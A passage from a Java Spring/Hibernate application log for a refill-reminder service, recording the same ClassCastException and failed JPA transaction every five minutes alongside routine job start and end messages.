org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 